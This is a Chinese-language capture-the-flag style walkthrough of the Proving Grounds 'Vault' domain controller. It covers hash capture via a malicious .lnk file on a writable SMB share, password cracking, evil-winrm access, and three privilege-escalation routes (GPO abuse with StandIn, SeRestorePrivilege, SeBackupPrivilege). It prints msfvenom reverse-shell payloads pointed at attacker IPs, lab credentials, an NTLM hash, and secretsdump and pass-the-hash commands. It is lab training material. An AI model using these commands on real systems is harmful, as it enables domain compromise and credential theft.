Proving Grounds Practice : Vault Walkthrough
Proving Grounds Practice : Vault Walkthrough
Foothole (立足點 ) :
- SMB 可以寫入,透過 hashgrab.py 產生連結檔與啟用 Responder 抓取驗證 HASH
- 破解密碼後透過 evil-winrm 進入機器
PE ( 提權 ) :
- 此靶機 PE 總共有三種利用
- 第一種 GPO GenericWrite : 使用 StandIn.exe 加入管理者群組
- 第二種 SeRestorePrivilege : 使用 SeRestoreAbuse.exe 加入管理者權限
- 第三種 SeBackupPrivilege : 使用 Acl-FullControl.ps1 給予設定路徑權限
注意事項 :
- 學習到不同的提權利用,利用後 Session 需要重新建立才會生效
第一步 Rustscan,└─$ rustscan -a 192.168.187.172 --scripts none --ulimit 5000 | tee rustscan
有開 53、88、135、445、3268、3269 看來又是一台 DC
snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.187.172 | tee snmp
nmap
Computer Name : DC
Domain Name : vault.offsec
nmap LDAP,└─$ sudo nmap --script "ldap* and not brute" 192.168.187.172 -p 389 -v -Pn -sT | tee nmap-ldap
LDAP Object,└─$ ldapsearch -v -x -b "DC=vault,DC=offsec" -H "ldap://192.168.187.172" "(objectclass=*)"
enum4linux,└─$ enum4linux -a 192.168.187.172
smbmap,└─$ smbmap -H 192.168.187.172
smbclient,└─$ smbclient -L \192.168.187.172
發現一個非 DC 正常的資料夾名稱 "DocumentsShare"
直接 smbclient 到該資料夾,資料夾內沒有任何東西,丟個檔案看看發現可以上傳寫入檔案
└─$ smbclient '//192.168.187.172/DocumentsShare'
使用方便產生 link 檔案的 hashgrab.py
參考 : https://github.com/xct/hashgrab/blob/main/hashgrab.py
自己做一個檔案,└─$ python3 hashgrab.py 192.168.45.178 aries
主要要使用的檔案是 aries.lnk 這一個
將 hash 存成檔案 anirudh.hash,然後用 hashcat 破解,└─$ hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
破解出密碼 VAULT\anirudh:SecureHM
使用 crackmapexec 測試看看,└─$ crackmapexec smb 192.168.187.172 -u 'anirudh' -p 'SecureHM'
evil-winrm 測試結果進去了,└─$ evil-winrm -i 192.168.187.172 -u anirudh -p SecureHM
建立兩個 Reverse shell payload
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.178 LPORT=4444 -f exe -b '\x00\x0d\x0a' -o shell.exe
上傳 payload 執行 payload
新的 Reverse Shell 進來了,開始 PE,whoami /priv
跑一下 SharpHound,Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\anirudh\Desktop\ -OutputPrefix "vault"
載回來後啟動 BloodHound ,先將我們已經拿下的使用者標註為 Owned
看一下該使用者的 Outbound Object Control
發現對網域的 Policy 有寫入的權限
Info 說明這個權限可以對 GPO 進行寫入的動作
濫用的部分是一段說明如,看來要如何利用要另外查找線上的其他文件
透過 GPO 上的 GenericWrite,您可以對該 GPO 進行修改,然後修改將套用於受該 GPO 影響的使用者和電腦。 選擇您想要將邪惡策略推送到的目標對象,然後使用 gpedit GUI 修改 GPO,使用允許專案層級定位的邪惡策略,例如新的立即排程任務。 然後等待群組原則客戶端拾取並執行新的邪惡策略
查看 InternalAllTheThings(以前叫 PayloadsAllTheThings) 有關 AD GPO 的攻擊看看
參考 : https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-group-policy-objects/
看到一個熟悉的工具 StandIn 的利用
先去下載工具,參考 https://github.com/FuzzySecurity/StandIn
最新版是 StandIn_v13_Net35_45.zip,就用這一個吧
解開來有個 Net35 & Net45 版本的,用較新的 Net45 版本吧
上傳到靶機並存成跟文章一樣的名稱 StandIn.exe
iwr -uri http://192.168.45.224/StandIn_v13_Net45.exe -Outfile StandIn.exe
先看一下目前有的 GPO,指令 : .\StandIn.exe --gpo
可以看到有兩條 GPO,我們要利用的是第二條
- Default Domain Controllers Policy
- Default Domain Policy
可以再用 acl 確認一次我們是否有權限,指令如下
.\StandIn.exe --gpo --filter "Default Domain Policy" --acl
最後一條 acl 可以看到現有的使用者 VAULT\anirudh 對該條 Policy 有 FullControl 的權限
另外一條 "Default Domain Controllers Policy" 現有使用者是沒有權限的
試試看 GPO 利用的第一條,新增一個 administrator
指令照著打即可,將我們現有的使用者 anirudh 加入到管理者
.\StandIn.exe --gpo --filter "Default Domain Policy" --localadmin anirudh
即時手動更新 GPO,gpupdate /force
結果 GG 沒有用
使用第二個利用加 "Seimpersonateprivilege" 權限給現有使用者 anirudh,.\StandIn.exe --gpo --filter "Default Domain Policy" --setuserrights anirudh --grant "SeDebugPrivilege,SeLoadDriverPrivilege,Seimpersonateprivilege"
一樣 gpupdate /force 查看 whoami /all 的權限.........結果也是 GG
採用第三個,先建立好一個 payload 做 reverse shell 的連線
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.224 LPORT=4445 -f exe -b '\x00\x0d\x0a' -o shell2.exe
然後加一條 comman 到 GPO 且用 VAULT\Administrator 的身分執行,.\StandIn.exe --gpo --filter "Default Domain Policy" --tasktype computer --taskname Liber --author "VAULT\Administrator" --command "C:\users\anirudh\desktop\shell2.exe" --args "with args"
然後一樣執行 gpupdate /force
這一次看到連線進來了,whoami 確認一下是管理者無誤
補充說明 :
在使用第一個將使用者加入到 Local 的 Administrators 群組是有生效的
使用指令查看可以看到使用者 anirudh 有在 administrators 群組成員
Get-DomainGroupMember -Identity "Administrators"
但使用 net group /domain 查看卻看不到 administrators 群組
看來應該是靶機有特別改過
在之前的 whoami /priv 可以看到現有使用者的權限有 SeBackupPrivilege & SeRestorePrivilege
這個其實也是一個可以利用的點,之前有學過有 SeRestorePrivilege 可以利用 utilman.exe 的重新命名方式替換成 cmd.exe 再用 Win Key + U 來提權,最後來試試看
這裡我們參考 https://github.com/xct/SeRestoreAbuse 來利用
編譯後的 SeRestoreAbuse.exe 檔案可以直接從這裡下載
參考 : https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
.\SeRestoreAbuse.exe "cmd /c net localgroup administrators anirudh /add"
加入後 whoami /priv 還是一樣,後來發現這是因為現有 session 不會直接生效
重新登入後就生效了,回去重複一開始的 StandIn.exe 的第一個步驟
evil-winrm 再重新登入才會生效,whoami /all 就可以看到有許多權限了
另外重新建立的 session 也都有權限了
whoami 雖然一樣是 anirudh,但是已經擁有管理者權限了
做另外一個實驗,先將現有使用者從 administrators 群組中移除
首先查看一下確認在群組中 net localgroup administrators
然後移除 net localgroup administrators anirudh /del
再查看一次 net localgroup administrators
前面利用的是 SeRestorePrivilege 的權限
這裡要利用的是 SeBackupPrivilege 的權限
這一次用 Acl-FullControl.ps1,參考 : https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1
確認 whoami /priv 有該權限,跟我們一開始登入一樣
powershell -ep bypass 然後上傳與匯入 Acl-FullControl.ps1
先確認現有的權限無法讀取 proof.txt 與對使用者目錄的權限
無法讀 proof.txt ,對 administrator 沒有權限,對自己的目錄有權限 (F)
執行 Acl-FullControl 指令,Acl-FullControl -user VAULT\anirudh -path c:\users\administrator
執行後發現我們對該路徑有 FullControl 的權限了
再次 icacls 可以確認有權限了,也可以直接讀到 flag 了
再來利用之前學過的 utilman.exe 試試看
檔案替換成功
但使用 rdesktop 與 Windows+U 不會叫出被取代的 cmd.exe
衍生補充 :
考試的當下需要拿到 administrator 的帳號權限,上述都是 anirudh 擁有管理者權限
若要拿到 administrator 帳號的權限可以在使用者加入到本機管理者後透過遠端去 dump hash
指令 : └─$ impacket-secretsdump vault.offsec/anirudh:SecureHM@192.168.228.172
使用 HASH 透過 impacket-psexec 指令直接就進去了,└─$ impacket-psexec -hashes :54ff9c380cf1a80c23467ff51919146e administrator@192.168.228.172
留言
張貼留言